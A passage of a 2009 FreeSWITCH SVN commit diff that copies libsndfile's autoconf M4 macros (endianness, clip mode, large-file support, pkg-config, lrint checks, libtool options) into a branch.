+	#define	__USE_ISOC99	1
+	#define __USE_ISOC9X	1
+	#include <math.h>
+	int main (void)
+	{	double	fval ;
+		int k, ival ;
+
+		fval = 1.0 * 0x7FFFFFFF ;
+		for (k = 0 ; k < 100 ; k++)
+		{	ival = (lrint (fval)) >> 24 ;
+			if (ival != 127)
+				return 1 ;
+		
+			fval *= 1.2499999 ;
+			} ;
+		
+			return 0 ;
+		}
+		]],
+		ac_cv_c_clip_positive=yes,
+		ac_cv_c_clip_positive=no,
+		ac_cv_c_clip_positive=unknown
+		)
+
+	AC_TRY_RUN(
+	[[
+	#define	_ISOC9X_SOURCE	1
+	#define _ISOC99_SOURCE	1
+	#define	__USE_ISOC99	1
+	#define __USE_ISOC9X	1
+	#include <math.h>
+	int main (void)
+	{	double	fval ;
+		int k, ival ;
+
+		fval = -8.0 * 0x10000000 ;
+		for (k = 0 ; k < 100 ; k++)
+		{	ival = (lrint (fval)) >> 24 ;
+			if (ival != -128)
+				return 1 ;
+		
+			fval *= 1.2499999 ;
+			} ;
+		
+			return 0 ;
+		}
+		]],
+		ac_cv_c_clip_negative=yes,
+		ac_cv_c_clip_negative=no,
+		ac_cv_c_clip_negative=unknown
+		)
+	fi
+
+if test $ac_cv_c_clip_positive = yes ; then
+	ac_cv_c_clip_positive=1
+else
+	ac_cv_c_clip_positive=0
+	fi
+
+if test $ac_cv_c_clip_negative = yes ; then
+	ac_cv_c_clip_negative=1
+else
+	ac_cv_c_clip_negative=0
+	fi
+
+[[
+case "$ac_cv_c_clip_positive$ac_cv_c_clip_negative" in
+	"00")
+		ac_cv_c_clip_type="none"
+		;;
+	"10")
+		ac_cv_c_clip_type="positive"
+		;;
+	"01")
+		ac_cv_c_clip_type="negative"
+		;;
+	"11")
+		ac_cv_c_clip_type="both"
+		;;
+	esac
+	]]
+
+)
+]
+
+)# AC_C_CLIP_MODE
+
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/endian.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/endian.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/endian.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/endian.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/endian.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+dnl @synopsis AC_C_FIND_ENDIAN
+dnl
+dnl Determine endian-ness of target processor.
+dnl @version 1.1	Mar 03 2002
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Majority written from scratch to replace the standard autoconf macro 
+dnl AC_C_BIGENDIAN. Only part remaining from the original it the invocation
+dnl of the AC_TRY_RUN macro.
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+
+dnl Find endian-ness in the following way:
+dnl    1) Look in <endian.h>.
+dnl    2) If 1) fails, look in <sys/types.h> and <sys/param.h>.
+dnl    3) If 1) and 2) fails and not cross compiling run a test program.
+dnl    4) If 1) and 2) fails and cross compiling then guess based on target.
+
+AC_DEFUN([AC_C_FIND_ENDIAN],
+[AC_CACHE_CHECK(processor byte ordering, 
+	ac_cv_c_byte_order,
+
+# Initialize to unknown
+ac_cv_c_byte_order=unknown
+
+if test x$ac_cv_header_endian_h = xyes ; then
+
+	# First try <endian.h> which should set BYTE_ORDER.
+
+	[AC_TRY_LINK([
+		#include <endian.h>
+		#if BYTE_ORDER != LITTLE_ENDIAN
+			not big endian
+		#endif
+		], return 0 ;, 
+			ac_cv_c_byte_order=little
+		)]
+				
+	[AC_TRY_LINK([
+		#include <endian.h>
+		#if BYTE_ORDER != BIG_ENDIAN
+			not big endian
+		#endif
+		], return 0 ;, 
+			ac_cv_c_byte_order=big
+		)]
+
+	fi
+
+if test $ac_cv_c_byte_order = unknown ; then
+
+	[AC_TRY_LINK([
+		#include <sys/types.h>
+		#include <sys/param.h>
+		#if !BYTE_ORDER || !BIG_ENDIAN || !LITTLE_ENDIAN
+			bogus endian macros
+		#endif
+		], return 0 ;, 
+
+		[AC_TRY_LINK([
+			#include <sys/types.h>
+			#include <sys/param.h>
+			#if BYTE_ORDER != LITTLE_ENDIAN
+				not big endian
+			#endif
+			], return 0 ;, 
+				ac_cv_c_byte_order=little
+			)]
+				
+		[AC_TRY_LINK([
+			#include <sys/types.h>
+			#include <sys/param.h>
+			#if BYTE_ORDER != LITTLE_ENDIAN
+				not big endian
+			#endif
+			], return 0 ;, 
+				ac_cv_c_byte_order=little
+			)]
+
+		)]
+
+ 	fi
+
+if test $ac_cv_c_byte_order = unknown ; then
+	if test $cross_compiling = yes ; then
+		# This is the last resort. Try to guess the target processor endian-ness
+		# by looking at the target CPU type.	
+		[
+		case "$target_cpu" in
+			alpha* | i?86* | mipsel* | ia64*)
+				ac_cv_c_big_endian=0
+				ac_cv_c_little_endian=1
+				;;
+			
+			m68* | mips* | powerpc* | hppa* | sparc*)
+				ac_cv_c_big_endian=1
+				ac_cv_c_little_endian=0
+				;;
+	
+			esac
+		]
+	else
+		AC_TRY_RUN(
+		[[
+		int main (void) 
+		{	/* Are we little or big endian?  From Harbison&Steele.  */
+			union
+			{	long l ;
+				char c [sizeof (long)] ;
+			} u ;
+			u.l = 1 ;
+			return (u.c [sizeof (long) - 1] == 1);
+			}
+			]], , ac_cv_c_byte_order=big, 
+			ac_cv_c_byte_order=unknown
+			)
+
+		AC_TRY_RUN(
+		[[int main (void) 
+		{	/* Are we little or big endian?  From Harbison&Steele.  */
+			union
+			{	long l ;
+				char c [sizeof (long)] ;
+			} u ;
+			u.l = 1 ;
+			return (u.c [0] == 1);
+			}]], , ac_cv_c_byte_order=little, 
+			ac_cv_c_byte_order=unknown
+			)
+		fi	
+	fi
+
+)
+
+if test $ac_cv_c_byte_order = big ; then
+	ac_cv_c_big_endian=1
+	ac_cv_c_little_endian=0
+elif test $ac_cv_c_byte_order = little ; then
+	ac_cv_c_big_endian=0
+	ac_cv_c_little_endian=1
+else
+	ac_cv_c_big_endian=0
+	ac_cv_c_little_endian=0
+
+	AC_MSG_WARN([[*****************************************************************]])
+	AC_MSG_WARN([[*** Not able to determine endian-ness of target processor.       ]])
+	AC_MSG_WARN([[*** The constants CPU_IS_BIG_ENDIAN and CPU_IS_LITTLE_ENDIAN in  ]])
+	AC_MSG_WARN([[*** src/config.h may need to be hand editied.                    ]])
+	AC_MSG_WARN([[*****************************************************************]])
+	fi
+
+]
+)# AC_C_FIND_ENDIAN
+
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/extra_largefile.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/extra_largefile.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/extra_largefile.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/extra_largefile.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/extra_largefile.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,114 @@
+dnl By default, many hosts won't let programs access large files;
+dnl one must use special compiler options to get large-file access to work.
+dnl For more details about this brain damage please see:
+dnl http://www.sas.com/standards/large.file/x_open.20Mar96.html
+
+dnl Written by Paul Eggert <eggert@twinsun.com>.
+
+dnl Internal subroutine of AC_SYS_EXTRA_LARGEFILE.
+dnl AC_SYS_EXTRA_LARGEFILE_FLAGS(FLAGSNAME)
+AC_DEFUN([AC_SYS_EXTRA_LARGEFILE_FLAGS],
+  [AC_CACHE_CHECK([for $1 value to request large file support],
+     ac_cv_sys_largefile_$1,
+     [ac_cv_sys_largefile_$1=`($GETCONF LFS_$1) 2>/dev/null` || {
+	ac_cv_sys_largefile_$1=no
+	ifelse($1, CFLAGS,
+	  [case "$host_os" in
+	   # IRIX 6.2 and later require cc -n32.
+changequote(, )dnl
+	   irix6.[2-9]* | irix6.1[0-9]* | irix[7-9].* | irix[1-9][0-9]*)
+changequote([, ])dnl
+	     if test "$GCC" != yes; then
+	       ac_cv_sys_largefile_CFLAGS=-n32
+	     fi
+	     ac_save_CC="$CC"
+	     CC="$CC $ac_cv_sys_largefile_CFLAGS"
+	     AC_TRY_LINK(, , , ac_cv_sys_largefile_CFLAGS=no)
+	     CC="$ac_save_CC"
+	   esac])
+      }])])
+
+dnl Internal subroutine of AC_SYS_EXTRA_LARGEFILE.
+dnl AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND(VAR, VAL)
+AC_DEFUN([AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND],
+  [case $2 in
+   no) ;;
+   ?*)
+     case "[$]$1" in
+     '') $1=$2 ;;
+     *) $1=[$]$1' '$2 ;;
+     esac ;;
+   esac])
+
+dnl Internal subroutine of AC_SYS_EXTRA_LARGEFILE.
+dnl AC_SYS_EXTRA_LARGEFILE_MACRO_VALUE(C-MACRO, CACHE-VAR, COMMENT, CODE-TO-SET-DEFAULT)
+AC_DEFUN([AC_SYS_EXTRA_LARGEFILE_MACRO_VALUE],
+  [AC_CACHE_CHECK([for $1], $2,
+     [$2=no
+changequote(, )dnl
+      $4
+      for ac_flag in $ac_cv_sys_largefile_CFLAGS no; do
+	case "$ac_flag" in
+	-D$1)
+	  $2=1 ;;
+	-D$1=*)
+	  $2=`expr " $ac_flag" : '[^=]*=\(.*\)'` ;;
+	esac
+      done
+changequote([, ])dnl
+      ])
+   if test "[$]$2" != no; then
+     AC_DEFINE_UNQUOTED([$1], [$]$2, [$3])
+   fi])
+
+AC_DEFUN([AC_SYS_EXTRA_LARGEFILE],
+  [AC_REQUIRE([AC_CANONICAL_HOST])
+   AC_ARG_ENABLE(largefile,
+     [  --disable-largefile     omit support for large files])
+   if test "$enable_largefile" != no; then
+     AC_CHECK_TOOL(GETCONF, getconf)
+     AC_SYS_EXTRA_LARGEFILE_FLAGS(CFLAGS)
+     AC_SYS_EXTRA_LARGEFILE_FLAGS(LDFLAGS)
+     AC_SYS_EXTRA_LARGEFILE_FLAGS(LIBS)
+	
+     for ac_flag in $ac_cv_sys_largefile_CFLAGS no; do
+       case "$ac_flag" in
+       no) ;;
+       -D_FILE_OFFSET_BITS=*) ;;
+       -D_LARGEFILE_SOURCE | -D_LARGEFILE_SOURCE=*) ;;
+       -D_LARGE_FILES | -D_LARGE_FILES=*) ;;
+       -D?* | -I?*)
+	 AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND(CPPFLAGS, "$ac_flag") ;;
+       *)
+	 AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND(CFLAGS, "$ac_flag") ;;
+       esac
+     done
+     AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND(LDFLAGS, "$ac_cv_sys_largefile_LDFLAGS")
+     AC_SYS_EXTRA_LARGEFILE_SPACE_APPEND(LIBS, "$ac_cv_sys_largefile_LIBS")
+     AC_SYS_EXTRA_LARGEFILE_MACRO_VALUE(_FILE_OFFSET_BITS,
+       ac_cv_sys_file_offset_bits,
+       [Number of bits in a file offset, on hosts where this is settable.])
+       [case "$host_os" in
+	# HP-UX 10.20 and later
+	hpux10.[2-9][0-9]* | hpux1[1-9]* | hpux[2-9][0-9]*)
+	  ac_cv_sys_file_offset_bits=64 ;;
+	esac]
+     AC_SYS_EXTRA_LARGEFILE_MACRO_VALUE(_LARGEFILE_SOURCE,
+       ac_cv_sys_largefile_source,
+       [Define to make fseeko etc. visible, on some hosts.],
+       [case "$host_os" in
+	# HP-UX 10.20 and later
+	hpux10.[2-9][0-9]* | hpux1[1-9]* | hpux[2-9][0-9]*)
+	  ac_cv_sys_largefile_source=1 ;;
+	esac])
+     AC_SYS_EXTRA_LARGEFILE_MACRO_VALUE(_LARGE_FILES,
+       ac_cv_sys_large_files,
+       [Define for large files, on AIX-style hosts.],
+       [case "$host_os" in
+	# AIX 4.2 and later
+	aix4.[2-9]* | aix4.1[0-9]* | aix[5-9].* | aix[1-9][0-9]*)
+	  ac_cv_sys_large_files=1 ;;
+	esac])
+   fi
+  ])
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/extra_pkg.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/extra_pkg.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/extra_pkg.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/extra_pkg.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/extra_pkg.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,85 @@
+# extra_pkg.m4 - Macros to locate and utilise pkg-config.   -*- Autoconf -*-
+# 
+# Copyright (c) 2004 Scott James Remnant <scott@netsplit.com>.
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+#
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# --------------------------------------------------------------
+# PKG_CHECK_MOD_VERSION(VARIABLE-PREFIX, MODULES, [ACTION-IF-FOUND],
+# [ACTION-IF-NOT-FOUND])
+#
+# This is a very slight modification to the macro PKG_CHECK_MODULES that
+# is in the original pkg.m4 file. It prints the versions in the checking
+# message (erikd@mega-nerd.com).
+
+AC_DEFUN([PKG_CHECK_MOD_VERSION],
+[AC_REQUIRE([PKG_PROG_PKG_CONFIG])dnl
+AC_ARG_VAR([$1][_CFLAGS], [C compiler flags for $1, overriding pkg-config])dnl
+AC_ARG_VAR([$1][_LIBS], [linker flags for $1, overriding pkg-config])dnl
+
+pkg_failed=no
+AC_MSG_CHECKING([for $2 ])
+
+_PKG_CONFIG([$1][_CFLAGS], [cflags], [$2])
+_PKG_CONFIG([$1][_LIBS], [libs], [$2])
+
+m4_define([_PKG_TEXT], [Alternatively, you may set the environment variables $1[]_CFLAGS
+and $1[]_LIBS to avoid the need to call pkg-config.
+See the pkg-config man page for more details.])
+
+if test $pkg_failed = yes; then
+        _PKG_SHORT_ERRORS_SUPPORTED
+        if test $_pkg_short_errors_supported = yes; then
+	        $1[]_PKG_ERRORS=`$PKG_CONFIG --short-errors --errors-to-stdout --print-errors "$2"`
+        else 
+	        $1[]_PKG_ERRORS=`$PKG_CONFIG --errors-to-stdout --print-errors "$2"`
+        fi
+	# Put the nasty error message in config.log where it belongs
+	echo "$$1[]_PKG_ERRORS" >&AS_MESSAGE_LOG_FD
+
+	ifelse([$4], , [AC_MSG_ERROR(dnl
+[Package requirements ($2) were not met:
+
+$$1_PKG_ERRORS
+
+Consider adjusting the PKG_CONFIG_PATH environment variable if you
+installed software in a non-standard prefix.
+
+_PKG_TEXT
+])],
+		[AC_MSG_RESULT([no])
+                $4])
+elif test $pkg_failed = untried; then
+	ifelse([$4], , [AC_MSG_FAILURE(dnl
+[The pkg-config script could not be found or is too old.  Make sure it
+is in your PATH or set the PKG_CONFIG environment variable to the full
+path to pkg-config.
+
+_PKG_TEXT
+
+To get pkg-config, see <http://pkg-config.freedesktop.org/>.])],
+		[$4])
+else
+	$1[]_CFLAGS=$pkg_cv_[]$1[]_CFLAGS
+	$1[]_LIBS=$pkg_cv_[]$1[]_LIBS
+        AC_MSG_RESULT([yes])
+	ifelse([$3], , :, [$3])
+fi[]dnl
+])# PKG_CHECK_MOD_VERSION

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/flexible_array.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/flexible_array.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/flexible_array.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/flexible_array.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/flexible_array.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+dnl @synopsis AC_C99_FLEXIBLE_ARRAY
+dnl
+dnl Dose the compiler support the 1999 ISO C Standard "stuct hack".
+dnl @version 1.1	Mar 15 2004
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+
+AC_DEFUN([AC_C99_FLEXIBLE_ARRAY],
+[AC_CACHE_CHECK(C99 struct flexible array support, 
+	ac_cv_c99_flexible_array,
+
+# Initialize to unknown
+ac_cv_c99_flexible_array=no
+
+AC_TRY_LINK([[
+	#include <stdlib.h>
+	typedef struct {
+	int k;
+	char buffer [] ;
+	} MY_STRUCT ;
+	]], 
+	[  MY_STRUCT *p = calloc (1, sizeof (MY_STRUCT) + 42); ],
+	ac_cv_c99_flexible_array=yes,
+	ac_cv_c99_flexible_array=no
+	))]
+) # AC_C99_FLEXIBLE_ARRAY
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/gcc_version.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/gcc_version.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/gcc_version.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/gcc_version.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/gcc_version.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+dnl @synopsis AC_GCC_VERSION
+dnl
+dnl Find the version of gcc.
+dnl @version 1.0	Nov 05 2007
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+
+AC_DEFUN([AC_GCC_VERSION],
+[
+if test "x$ac_cv_c_compiler_gnu" = "xyes" ; then
+
+	AC_MSG_CHECKING([for version of $CC])
+	GCC_VERSION=`$CC -dumpversion`
+	AC_MSG_RESULT($GCC_VERSION)
+
+	changequote(,)dnl
+	GCC_MINOR_VERSION=`echo $GCC_VERSION | sed "s/^[0-9]\+\.//" | sed "s/\..*//"`
+	GCC_MAJOR_VERSION=`echo $GCC_VERSION | sed "s/\..*//"`
+	changequote([,])dnl
+	fi
+
+AC_SUBST(GCC_VERSION)
+AC_SUBST(GCC_MAJOR_VERSION)
+AC_SUBST(GCC_MINOR_VERSION)
+
+])# AC_GCC_VERSION
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/llrint.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/llrint.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/llrint.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/llrint.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/llrint.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+dnl @synopsis AC_C99_FUNC_LLRINT
+dnl
+dnl Check whether C99's llrint function is available.
+dnl @version 1.1	Sep 30 2002
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+AC_DEFUN([AC_C99_FUNC_LLRINT],
+[AC_CACHE_CHECK(for llrint,
+  ac_cv_c99_llrint,
+[
+llrint_save_CFLAGS=$CFLAGS
+CFLAGS="-lm"
+AC_TRY_LINK([
+#define		_ISOC9X_SOURCE	1
+#define 	_ISOC99_SOURCE	1
+#define		__USE_ISOC99	1
+#define 	__USE_ISOC9X	1
+
+#include <math.h>
+#include <stdint.h>
+], int64_t	x ; x = llrint(3.14159) ;, ac_cv_c99_llrint=yes, ac_cv_c99_llrint=no)
+
+CFLAGS=$llrint_save_CFLAGS
+
+])
+
+if test "$ac_cv_c99_llrint" = yes; then
+  AC_DEFINE(HAVE_LLRINT, 1,
+            [Define if you have C99's llrint function.])
+fi
+])# AC_C99_FUNC_LLRINT
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/lrint.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/lrint.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/lrint.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/lrint.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/lrint.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+dnl @synopsis AC_C99_FUNC_LRINT
+dnl
+dnl Check whether C99's lrint function is available.
+dnl @version 1.3	Feb 12 2002
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+AC_DEFUN([AC_C99_FUNC_LRINT],
+[AC_CACHE_CHECK(for lrint,
+  ac_cv_c99_lrint,
+[
+lrint_save_CFLAGS=$CFLAGS
+CFLAGS="-lm"
+AC_TRY_LINK([
+#define		_ISOC9X_SOURCE	1
+#define 	_ISOC99_SOURCE	1
+#define		__USE_ISOC99	1
+#define 	__USE_ISOC9X	1
+
+#include <math.h>
+], if (!lrint(3.14159)) lrint(2.7183);, ac_cv_c99_lrint=yes, ac_cv_c99_lrint=no)
+
+CFLAGS=$lrint_save_CFLAGS
+
+])
+
+if test "$ac_cv_c99_lrint" = yes; then
+  AC_DEFINE(HAVE_LRINT, 1,
+            [Define if you have C99's lrint function.])
+fi
+])# AC_C99_FUNC_LRINT
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/lrintf.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/lrintf.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/lrintf.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/lrintf.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/lrintf.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+dnl @synopsis AC_C99_FUNC_LRINTF
+dnl
+dnl Check whether C99's lrintf function is available.
+dnl @version 1.3	Feb 12 2002
+dnl @author Erik de Castro Lopo <erikd AT mega-nerd DOT com>
+dnl
+dnl Permission to use, copy, modify, distribute, and sell this file for any 
+dnl purpose is hereby granted without fee, provided that the above copyright 
+dnl and this permission notice appear in all copies.  No representations are
+dnl made about the suitability of this software for any purpose.  It is 
+dnl provided "as is" without express or implied warranty.
+dnl
+AC_DEFUN([AC_C99_FUNC_LRINTF],
+[AC_CACHE_CHECK(for lrintf,
+  ac_cv_c99_lrintf,
+[
+lrintf_save_CFLAGS=$CFLAGS
+CFLAGS="-lm"
+AC_TRY_LINK([
+#define		_ISOC9X_SOURCE	1
+#define 	_ISOC99_SOURCE	1
+#define		__USE_ISOC99	1
+#define 	__USE_ISOC9X	1
+
+#include <math.h>
+], if (!lrintf(3.14159)) lrintf(2.7183);, ac_cv_c99_lrintf=yes, ac_cv_c99_lrintf=no)
+
+CFLAGS=$lrintf_save_CFLAGS
+
+])
+
+if test "$ac_cv_c99_lrintf" = yes; then
+  AC_DEFINE(HAVE_LRINTF, 1,
+            [Define if you have C99's lrintf function.])
+fi
+])# AC_C99_FUNC_LRINTF
+

Deleted: freeswitch/branches/seven/libs/libsndfile/M4/ltoptions.m4

Copied: freeswitch/branches/seven/libs/libsndfile/M4/ltoptions.m4 (from rev 14471, freeswitch/trunk/libs/libsndfile/M4/ltoptions.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/M4/ltoptions.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/M4/ltoptions.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,368 @@
+# Helper functions for option handling.                    -*- Autoconf -*-
+#
+#   Copyright (C) 2004, 2005, 2007, 2008 Free Software Foundation, Inc.
+#   Written by Gary V. Vaughan, 2004
+#
+# This file is free software; the Free Software Foundation gives
+# unlimited permission to copy and/or distribute it, with or without
+# modifications, as long as this notice is preserved.
+
+# serial 6 ltoptions.m4
+
+# This is to help aclocal find these macros, as it can't see m4_define.
+AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
+
+
+# _LT_MANGLE_OPTION(MACRO-NAME, OPTION-NAME)
+# ------------------------------------------
+m4_define([_LT_MANGLE_OPTION],
+[[_LT_OPTION_]m4_bpatsubst($1__$2, [[^a-zA-Z0-9_]], [_])])
+
+
+# _LT_SET_OPTION(MACRO-NAME, OPTION-NAME)
+# ---------------------------------------
+# Set option OPTION-NAME for macro MACRO-NAME, and if there is a
+# matching handler defined, dispatch to it.  Other OPTION-NAMEs are
+# saved as a flag.
+m4_define([_LT_SET_OPTION],
+[m4_define(_LT_MANGLE_OPTION([$1], [$2]))dnl
+m4_ifdef(_LT_MANGLE_DEFUN([$1], [$2]),
+        _LT_MANGLE_DEFUN([$1], [$2]),
+    [m4_warning([Unknown $1 option `$2'])])[]dnl
+])
+
+
+# _LT_IF_OPTION(MACRO-NAME, OPTION-NAME, IF-SET, [IF-NOT-SET])
+# ------------------------------------------------------------
+# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise.
+m4_define([_LT_IF_OPTION],
+[m4_ifdef(_LT_MANGLE_OPTION([$1], [$2]), [$3], [$4])])
+
+
+# _LT_UNLESS_OPTIONS(MACRO-NAME, OPTION-LIST, IF-NOT-SET)
+# -------------------------------------------------------
+# Execute IF-NOT-SET unless all options in OPTION-LIST for MACRO-NAME
+# are set.
+m4_define([_LT_UNLESS_OPTIONS],
+[m4_foreach([_LT_Option], m4_split(m4_normalize([$2])),
+	    [m4_ifdef(_LT_MANGLE_OPTION([$1], _LT_Option),
+		      [m4_define([$0_found])])])[]dnl
+m4_ifdef([$0_found], [m4_undefine([$0_found])], [$3
+])[]dnl
+])
+
+
+# _LT_SET_OPTIONS(MACRO-NAME, OPTION-LIST)
+# ----------------------------------------
+# OPTION-LIST is a space-separated list of Libtool options associated
+# with MACRO-NAME.  If any OPTION has a matching handler declared with
+# LT_OPTION_DEFINE, dispatch to that macro; otherwise complain about
+# the unknown option and exit.
+m4_defun([_LT_SET_OPTIONS],
+[# Set options
+m4_foreach([_LT_Option], m4_split(m4_normalize([$2])),
+    [_LT_SET_OPTION([$1], _LT_Option)])
+
+m4_if([$1],[LT_INIT],[
+  dnl
+  dnl Simply set some default values (i.e off) if boolean options were not
+  dnl specified:
+  _LT_UNLESS_OPTIONS([LT_INIT], [dlopen], [enable_dlopen=no
+  ])
+  _LT_UNLESS_OPTIONS([LT_INIT], [win32-dll], [enable_win32_dll=no
+  ])
+  dnl
+  dnl If no reference was made to various pairs of opposing options, then
+  dnl we run the default mode handler for the pair.  For example, if neither
+  dnl `shared' nor `disable-shared' was passed, we enable building of shared
+  dnl archives by default:
+  _LT_UNLESS_OPTIONS([LT_INIT], [shared disable-shared], [_LT_ENABLE_SHARED])
+  _LT_UNLESS_OPTIONS([LT_INIT], [static disable-static], [_LT_ENABLE_STATIC])
+  _LT_UNLESS_OPTIONS([LT_INIT], [pic-only no-pic], [_LT_WITH_PIC])
+  _LT_UNLESS_OPTIONS([LT_INIT], [fast-install disable-fast-install],
+  		   [_LT_ENABLE_FAST_INSTALL])
+  ])
+])# _LT_SET_OPTIONS
+
+
+## --------------------------------- ##
+## Macros to handle LT_INIT options. ##
+## --------------------------------- ##
+
+# _LT_MANGLE_DEFUN(MACRO-NAME, OPTION-NAME)
+# -----------------------------------------
+m4_define([_LT_MANGLE_DEFUN],
+[[_LT_OPTION_DEFUN_]m4_bpatsubst(m4_toupper([$1__$2]), [[^A-Z0-9_]], [_])])
+
+
+# LT_OPTION_DEFINE(MACRO-NAME, OPTION-NAME, CODE)
+# -----------------------------------------------
+m4_define([LT_OPTION_DEFINE],
+[m4_define(_LT_MANGLE_DEFUN([$1], [$2]), [$3])[]dnl
+])# LT_OPTION_DEFINE
+
+
+# dlopen
+# ------
+LT_OPTION_DEFINE([LT_INIT], [dlopen], [enable_dlopen=yes
+])
+
+AU_DEFUN([AC_LIBTOOL_DLOPEN],
+[_LT_SET_OPTION([LT_INIT], [dlopen])
+AC_DIAGNOSE([obsolete],
+[$0: Remove this warning and the call to _LT_SET_OPTION when you
+put the `dlopen' option into LT_INIT's first parameter.])
+])
+
+dnl aclocal-1.4 backwards compatibility:
+dnl AC_DEFUN([AC_LIBTOOL_DLOPEN], [])
+
+
+# win32-dll
+# ---------
+# Declare package support for building win32 dll's.
+LT_OPTION_DEFINE([LT_INIT], [win32-dll],
+[enable_win32_dll=yes
+
+case $host in
+*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-cegcc*)
+  AC_CHECK_TOOL(AS, as, false)
+  AC_CHECK_TOOL(DLLTOOL, dlltool, false)
+  AC_CHECK_TOOL(OBJDUMP, objdump, false)
+  ;;
+esac
